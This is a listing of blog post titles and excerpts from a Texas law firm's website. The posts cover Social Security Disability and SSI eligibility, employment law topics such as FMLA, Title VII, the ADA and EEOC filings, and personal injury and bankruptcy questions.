- [Can your spouse collect Social Security disability payments based on your record?](https://www.washthomas.com/can-your-spouse-collect-social-security-disability-payments-based-on-your-record/) - Yes, your spouse can collect Social Security Disability benefits based on a disabled claimant's record if two conditions are met. First, let me clarify that this only applies to Title 2 Social Security Disability benefits and not Title 16 Supplemental Security Income benefits. In order to collect, your spouse cannot be employed and must be caring
- [Constructive Discharge](https://www.washthomas.com/constructive-discharge/) - Employees sometimes feel that they have no choice but to quit a job because of bad treatment. In an appropriate situation, the legal concept of "constructive discharge" can be the equivalent of an employee being fired. When an employee is being illegally harrassed or discriminated against on a job but has not been officially discharged by
- [Is Fibromyalgia a basis for being awarded Social Security Disability?](https://www.washthomas.com/is-fibromyalgia-a-basis-for-being-awarded-social-security-disability/) - Yes, I have represented many claimants in the past and currently who suffer with fibromyalgia. It can be very debilitating. Many years ago, doctors used to diagnose their patients with fibromyalgia when they could not figure out any other source of their pain. In the past several years, the Social Security Administration has become much
- [Can I  Go Ahead and Settle My Car Damage Claim But Not My Personal Injury Claim?](https://www.washthomas.com/can-i-go-ahead-and-settle-my-car-damage-claim-but-not-my-personal-injury-claim/) - The answer is yes, you can settle these two separately. Let's say you've been involved in a car wreck in your automobile and you were injured. You need to get your car repaired quickly; however, you were injured in the collision and you are not fully healed from the injuries. Therefore, it's never wise to settle your
- [Can I work and apply for Social Security Disability Benefits?](https://www.washthomas.com/can-i-work-and-apply-for-social-security-disability-benefits/) - Yes you can work and apply for Social Security Disability Benefits. However, if you are grossing more than $900 per month, then you will be denied based on the substantial gainful activity rule. There are certain exceptions. The Social Security Administration does take into consideration and deduct from your gross wages for health related expenses which are necessary
- [What to look for in a Bankruptcy Lawyer](https://www.washthomas.com/what-to-look-for-in-a-bankruptcy-lawyer/) - Today's economy has put increased pressure on many businesses and families. Relentless debt collectors and lawsuits frequently makes a financial review in consideration of a bankruptcy filing a necessary option. What should a person look for in a bankruptcy lawyer? The following are some factors to consider: First, is the lawyer accessible? Can you communicate
- [Department of Labor Recovers Significant Overtime Wages for Cemex Workers](https://www.washthomas.com/department-of-labor-recovers-significant-overtime-wages-for-cemex-workers/) - The U.S. Department of Labor announced the filing of a consent judgment in a case against CEMEX Inc. and the recovery of $1,514,449 in overtime back wages for 1,705 current and former ready-mix drivers who worked in eight states. You can read the entire news release details here. The overtime wage issue is heating up.
- [Discrediting Credit History in Employment](https://www.washthomas.com/discrediting-credit-history-in-employment/) - The recent lawsuit by the EEOC against Kaplan Higher Education claiming that Kaplan's practice of rejecting job applicants based on poor credit history is discriminatory on the basis of race points out the problems that employers can encounter because of the "disparate impact" cause of action under Title VII. Any employment practice that discriminates against
- [What are disability hearings like?](https://www.washthomas.com/what-are-disability-hearings-like/) - You can rest assured that at your disability hearing there will be no other attorneys or others trying to argue against why you should not receive Social Security Disability Benefits. It is a non-adversarial process. It is like nothing you might see on a TV court show. There is not a jury. Usually the only people
- [Will there be a cost-of-living adjustment (COLA) for Social Security Disability or SSI recipients?](https://www.washthomas.com/will-there-be-a-cost-of-living-adjustment-cola-for-social-security-disability-or-ssi-recipients/) - Unfortunately, for the second year in a row, there will be no cost-of-living adjustment (COLA) for Social Security and SSI beneficiaries in 2011. Why no COLA in 2011? The COLA is determined by comparing the change inthe Consumer Price Index (CPI-W) from the third quarter of 2008, that last year that a COLA was determined,
- [IT'S PARTY TIME!](https://www.washthomas.com/its-party-time/) - Tis the season for office or company parties. If an employee is injured at the party, what is the liability of the employer? If the employer has worker's compensation insurance, worker's compensation insurance does not cover an employee for injuries sustained during voluntary participation in off-duty work-related or work-sponsored social, athletic, or recreational events, unless
- [Are Stepchildren considered a "dependent" of a stepparent for Social Security Disability Benefits?](https://www.washthomas.com/are-stepchildren-considered-a-dependent-of-a-stepparent-for-social-security-disability-benefits/) - Yes, a stepchild is considered a "dependent" of a stepparent for Social Security Disability Benefits if the child is receiving at least one-half support from the stepparent. This law went into effect September 27, 2010.
- [How long will it take to win my Social Security Disability Benefits?](https://www.washthomas.com/how-long-will-it-take-to-win-my-social-security-disability-benefits/) - The answer to this question varies. The Social Security Administration allows 120 days to review your initial application. However, they usually only take 90 days in most cases. There are also procedures in place for a quicker approval and allowance when dealing with certain types of diseases. These are called compassionate allowances. If your initial
- [Am I disabled if I cannot perform the jobs that I have done in the past?](https://www.washthomas.com/am-i-disabled-if-i-cannot-perform-the-jobs-that-i-have-done-in-the-past/) - I receive this question a lot. In determining whether you meet guidelines to receive Social Security Disability Benefits, this is the claimant's burden. They are required to prove a severe impairment that prevents them from performing any jobs that they have performed in the last 15 years that SSA considers relevant. After the claimant meets
- [FMLA REGULATIONS REQUIRE EMPLOYEE TO FOLLOW EMPLOYER'S ABSENCE REPORTING REQUIREMENTS](https://www.washthomas.com/fmla-regulations-require-employee-to-follow-employers-absence-reporting-requirements/) - The amendments to the regulations for the Family Medical Leave Act (FMLA) have become more strict in the requirement for employees to follow the employer's "usual and customary notice and procedural rules" for requesting medical leave, unless there is some unusual circumstances preventing the notice. Therefore, employers are now being advised to institute more exacting notice rules (for
- [Am I too old to collect Social Security Disability Benefits?](https://www.washthomas.com/am-i-too-old-to-collect-social-security-disability-benefits/) - If you age is equivalent to full retirement age, then yes you are too old to receive Social Security Disability Benefits. You will only be entitled to Social Security Retirement benefits. Depending on when you became disabled, you might be entitled to some past due benefits but no current. If at your age (i.e. 62),
- [New Non-Discrimination Rules Issued By Dept. of Labor Regarding State & Local Government Services & Public Accommodations in Commercial Facilities](https://www.washthomas.com/new-non-discrimination-rules-issued-by-dept-of-labor-regarding-state-local-government-services-public-accommodations-in-commercial-facilities/) - The Dept. of Labor issued final rules on September 15, 2010 relating to Title II and Title III. The final rule amending 28 CFR Part 35- non-Discrimination on the basis of disability in State and local government services will go into effect March 15, 2011. Likewise, the final rule amending 28 CFR 36- non-discrimination on
- [Can I collect both Title II Social Security Disability and Title XVI Supplemental Security Income Benefits at the same time?](https://www.washthomas.com/can-i-collect-both-title-ii-social-security-disability-and-title-xvi-supplemental-security-income-benefits-at-the-same-time/) - Yes, you may collect both Title II Social Security Disability Benefits and Title XVI Supplemental Security Income Benefits if the maximum Title II Social Security Disability monthly benefit is less than the maximum Title XVI Supplemental Security Income monthly benefit. Your Title II Social Security Disability monthly benefit will be calculated first and then you
- [Important FMLA Regulations for Employees to Remember](https://www.washthomas.com/important-fmla-regulations-for-employees-to-remember/) - The Family & Medical Leave Act (FMLA) was amended effective January 1, 2009 and some new regulations were thereafter written by the Dept. of Labor interpreting the Act. Now, in order to qualify for leave, the employee must establish that he has a "serious health condition" involving either an overnight stay in the hospital or continuing treatment by
- [Is Hepatitis C a basis for being awarded Social Security Disability Benefits?](https://www.washthomas.com/is-hepatitis-c-a-basis-for-being-awarded-social-security-disability-benefits/) - Yes, I have represented many clients that suffer from Hepatitis C and have been awarded their Social Security Disability benefits. However, the diagnosis of Hepatitis C is not enough alone to be awarded disability. Many people have been infected with Hepatitis C for years and do not know it because their Hepatitis C is not
- [Do I need a doctor's opinion to win Social Security Disability Benefits?](https://www.washthomas.com/do-i-need-a-doctors-opinion-to-win-social-security-disability-benefits/) - No, you do not need a doctor's opinion. However, your treating doctor's opinion about your physical and/or mental limitations can be very effective in winning Social Security Disability Benefits if it is supported by objective evidence. This is one area where being represented by an attorney can be very beneficial. A Social Security Disability attorney knows
- [Are migraine headaches a basis for receiving Social Security Disability Benefits?](https://www.washthomas.com/are-migraine-headaches-a-basis-for-receiving-social-security-disability-benefits/) - Yes! However, proving that migraine headaches are debilitating and meet Social Security Disability guidelines is not always easy. I have represented many clients that suffer with migraine headaches and have successfully won benefits for clients who this is their sole disability. My first piece of advice is to keep a headache journal. A journal could
- [Can I receive both Unemployment Insurance Benefits and Social Security Disability Benefits?](https://www.washthomas.com/can-i-receive-both-unemployment-insurance-benefits-and-social-security-disability-benefits/) - Although there are risks if a claimant applies for both unemployment insurance benefits and Social Security Disability benefits contemporaneously, one is not precluded from filing for both at the same time. In order to receive unemployment benefits, one must assert that he is ready, willing and able to work but cannot find employment. To file for Social
- [Welcome](https://www.washthomas.com/welcome/) - Social Security Disability/SSI Blog Welcome to my free information blog about Social Security Disability and Supplemental Security Income. My entries will hopefully enlighten you about the Social Security Disability process and how to be successful. I will attempt to focus on the questions that I often receive from claimants and also focus on specific disabling
- [My Employer Won't Allow Me to Return to Work After My Injury Without an Unrestricted Release. Can They Do That?](https://www.washthomas.com/my-employer-wont-allow-me-to-return-to-work-after-my-injury-without-an-unrestricted-release-can-they-do-that/) - The answer to whether your employer can refuse to allow you to work, if you have any medical restrictions, such as a lifting limitation or limitation on standing, is controlled by the Americans with Disabilities Act (ADA). Generally, a no-exceptions rule by an employer that you can't work if you have any restrictions or you must
- [Dead on Arrival](https://www.washthomas.com/dead-on-arrival/) - The employment area is one in which there are traps for the unwary and minefields all over the place waiting to blow up your case. One of the first is the short statute of limitations on many cases. One of the shortest time limitation is sometimes found in the "whistleblower" statutes and the filing of claims or suits
- [The "Hole Card"-Section 1981 Prohibition of Race Discrimination](https://www.washthomas.com/the-hole-card-section-1981-prohibition-of-race-discrimination/) - Section 1981 refers to the Civil Rights Act of 1866, which was recodified as 42. USC 1981, and has come to be known as "Section 1981". This statute provides that "all persons within the jurisdiction of the United States shall have the same right in every State...to make and enforce contracts...and to the full and equal
- [The ADAAA vs. the Texas Labor Code- "The Gap Period"](https://www.washthomas.com/the-adaaa-vs-the-texas-labor-code-the-gap-period/) - The Americans with Disabilities Act Amendment Act (ADAAA) and the Texas Labor Code provision prohibiting disability discrimination amendments to conform to the ADAAA created a dilemma for claimants. The dilemma arises in the fact that the effective date for the amendments of the ADAAA is January 1, 2009, while the effective date for the amendments
- [Is Same Sex Sexual Harassment Illegal?](https://www.washthomas.com/is-same-sex-sexual-harassment-illegal/) - Same sex sexual harassment is prohibited by the federal Title VII law prohibiting discrimination based on sex. The U.S. Supreme Court in Oncale v. Sundowner Offshore Services, Inc. ruled that same sex harassment is actionable. The court stated that “Title VII’s prohibition of discrimination because of sex protects men as well as women.” The difficulty
- [Mental Anguish- The Magic Words](https://www.washthomas.com/mental-anguish-the-magic-words/) - There is a practical conflict between what an average jury wants to hear about the mental anguish of an employee that has been discriminatorily terminated or treated and what the court of appeals judges in their review of the evidence of a case require. It's been my experience that juries don't want to hear a plaintiff moaning
- [What is a Summary Judgment?](https://www.washthomas.com/what-is-a-summary-judgment/) - After a lawsuit is filed in an employment case, there will be a time of discovery where both sides explore the position, documents, and evidence of the other side. After this period and before a trial, the defendant can file what's referred to as a motion for summary judgment. Most employment cases nowadays will face these
- [What Happens in a Lawsuit?-Part 4-The Appeal](https://www.washthomas.com/what-happens-in-a-lawsuit-part-4-the-appeal/) - After a trial and one side has lost, the losing party may decide to appeal the judgment to the court of appeals. The decision as to whether to appeal is made based on several issues. The losing party would look back at the trial to determine whether the judge made any significant errors in the admission or
- [What Happens in a Lawsuit?-Part 3- the Trial](https://www.washthomas.com/what-happens-in-a-lawsuit-part-3-the-trial/) - The jury trial of an employment discrimination lawsuit in state court begins long before the day of trial with long hours of preparation of the evidence to be presented, witness preparation, and much legal research of questions that may arise in the trial. Sometimes, the judge holds a pre-trial conference, at which the lawyers appear to present
- [What Happens in a Lawsuit?-Part 2-Discovery-PreTrial](https://www.washthomas.com/what-happens-in-a-suit-part-2-discovery-pre-trial/) - This is the second segment concerning what happens in a lawsuit. The first segment dealt with the considerations before filing the suit and this segment will deal with the pre-trial portion involving the discovery phase. After, the answer of defendant is filed and it is determined where the suit will actually be tried, either in state court
- [What Happens in a Lawsuit?-Part 1-PreSuit](https://www.washthomas.com/what-happens-in-a-lawsuit-pre-suit-part-1/) - In the next several posts I am going to discuss the bringing and handling of a lawsuit in the context of an employment law case. The first part will concern the pre-trial phase. Once a decision is made to file a lawsuit, many decisions must be carefully made. One of the first is who the defendants (the
- [Why Can't I Sue the Insurance Company?](https://www.washthomas.com/why-cant-i-sue-the-insurance-company/) - When you have a car wreck with another person and you suffer an injury, you then have a claim for personal injury if that person was negligent in causing the wreck. Negligence means that the person did something that a reasonably prudent person would not have done under the circumstances or that they failed to
- [Mediation](https://www.washthomas.com/mediation/) - A mediation is different than an arbitration. During the time that your complaint is pending with the EEOC, the agency may ask both sides to enter into a mediation. Or, after suit has been filed, the parties can agree to enter into a mediation or the court may order it. A mediation is basically a
- [Arbitration- An Overview](https://www.washthomas.com/arbitration-an-overview/) - An arbitration is the presentation of a dispute to a person known as an arbitrator, who then decides who wins the dispute. Arbitration takes away an employee's right to present his or her case to a jury. Normally, an employer who requires his employees to sign an arbitration agreement is doing this to avoid what
- [Overview of The Family & Medical Leave Act ](https://www.washthomas.com/overview-of-the-family-medical-leave-act/) - The Family & Medical Leave Act (FMLA) is a federal law that provides for employee time off because of a serious medical condition either in an emergency situation or for planned medical treatments like surgery. The FMLA only protects employees who have been employed for one year at a company (does not have to be
- [Taxation of Awards or Settlements](https://www.washthomas.com/taxation-of-awards-or-settlements/) - Since today is April 15th, let's talk about the income taxation of jury awards or settlements in discrimination or job termination cases. This has been a very confusing area in the past because recoveries in cases involving physical injuries (such as in a car wreck where a person breaks a leg or hurts their back)
- [What are Caps?](https://www.washthomas.com/what-are-caps/) - You may have heard of someone receiving a jury verdict in a discrimination case for a large sum; however, many times these verdicts are reduced because the recoveries are governed by laws that cap (limit) these sums at arbitrary amounts. In cases involving discrimination based on sex, race, age, national origin, religion, and disability, the amount of the
- [I Filed with the EEOC, Now What Happens?](https://www.washthomas.com/i-filed-with-the-eeoc-now-what-happens/) - Once you have filed your complaint with the EEOC or the Texas Workforce Commission-Civil Rights Division (TWCCRD), you must cooperate with the investigator and wait 180 days for them to investigate the complaint. The EEOC will send a notice to your former employer that a complaint has been filed and will normally request a response.
- [Why Do I Need to File with the EEOC?](https://www.washthomas.com/why-do-i-need-to-file-with-the-eeoc/) - When you have been discriminated against or discharged based on an unlawful reason, such as your age, gender, race, national origin, a disability, religion, or retaliation for having complained about one of these things, which matters are prohibited by both federal law (Title VII) or Texas state law (Texas Labor Code Ch. 21), then the
- [I Just Got Fired & My Boss Won't Give Me a Reason. What Can I Do?](https://www.washthomas.com/i-just-got-fired-my-boss-wont-give-me-a-reason-what-can-i-do/) - In Texas, there is no requirement that an employer give a terminated employee the reason why he/she is being terminated. Texas is an at-will state, which means an employee can be fired for any or no reason. However, common sense tells us that no one takes an action, like firing an employee, without some reason. The employer is
- [My FMLA Leave Is Up, What Can I Do Now?](https://www.washthomas.com/my-fmla-leave-is-up-what-can-i-do-now/) - If you have been on FMLA leave for 12 weeks and you are not able to return because of your illness, is there anything you can do? The Family & Medical Leave Act (FMLA) gives employees, who have worked at least a year for an employer of a company larger than 50 employees, and who are
- ["But, I'm under doctor's care, how can I be fired?"](https://www.washthomas.com/but-im-under-doctors-care-how-can-i-be-fired/) - "But I was hurt on the job, I'm off on worker's compensation and I'm under a doctor's care; how could I have been fired?" I hear different forms of this from people all the time. There is a legend that you can't legally be fired while off work under doctor's care. Although there are some
- [Title VII](https://www.washthomas.com/title-vii/) - Title VII is one of the methods to get past the wall of "employment at will" and refers to the Civil Rights Act of 1964. This is the federal law that protects employees from being discriminated against or discharged because of race, color, religion, sex, or national origin. Texas law has a mirror statute called
- [Texas Employee Rights Blog](https://www.washthomas.com/texas-employee-rights-blog/) - Welcome to the new Texas Employee Rights Blog. As a practicing Texas attorney, it is my goal to use this blog as a tool to inform Texas employees of their legal rights and to discuss matters of interest to other attorneys who labor in this field of law. Texas employees have a hard battle as they continually encounter

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- [Job-Related Claims](https://www.washthomas.com/job-related-claims/) - Wash & Thomas Attorneys, Get complete solutions to cases regarding labor & employment law in Waco, Texas. The firm’s employment litigation practice is focused on representing employees in Texas.
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- [About](https://www.washthomas.com/about/) - Welcome to the Wash & Thomas Blog. As you can see our Blog deals with four legal areas upon which our firm has its focus. This Blog is designed to provide information about these legal subjects, comments , opinions, and recent developments which might be of interest to our clients and the public. We hope
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